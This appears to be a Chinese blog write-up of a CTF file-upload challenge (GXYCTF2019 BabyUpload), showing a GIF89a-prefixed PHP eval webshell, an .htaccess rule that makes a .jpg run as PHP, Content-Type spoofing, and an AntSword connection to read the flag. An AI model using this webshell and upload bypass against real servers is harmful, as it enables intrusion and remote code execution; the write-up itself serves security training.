BUUCTF:[GXYCTF2019]BabyUpload

文章描述了一次针对只允许上传jpg文件的靶机进行攻击的过程。作者尝试使用GIF89a头部构造PHP代码,并利用.htaccess文件修改处理方式为PHP,从而实现PHP木马的上传。最后,通过蚁剑连接并查找flag。

打开靶机,
在这里插入图片描述
文件上传题。我试了试,只有jpg文件可以传。我们传一个一句话木马。

在这里插入图片描述
改为jpg上传。
在这里插入图片描述
有过滤。我们想办法绕过。构造

GIF89a
<script language="php">eval($_POST['wz']);</script>

在这里插入图片描述

来代替原来的一句话木马。改为jpg上传。
在这里插入图片描述
上传成功。bp抓包看看能不能改后缀为php。
在这里插入图片描述
改完放包。
在这里插入图片描述
还是改回来吧。
到了这里,我们就得考虑一下用.user.ini文件还是用.htaccess文件。因为不知道目录中是否有php文件。所以用.htaccess文件。构造:

<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述
注意这里的a.jpg需要和你上传的一句话木马文件名相同。
我们上传.htaccess文件。
在这里插入图片描述
去bp抓包,改一下标签。
在这里插入图片描述
这里改为image/jpeg
在这里插入图片描述
放包
在这里插入图片描述
再传一下一句话木马,看一下文件路径。
在这里插入图片描述
这个就是文件路径了。我们链接蚁剑。
在这里插入图片描述
然后查看flag
在这里插入图片描述
柴犬真的好可爱。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值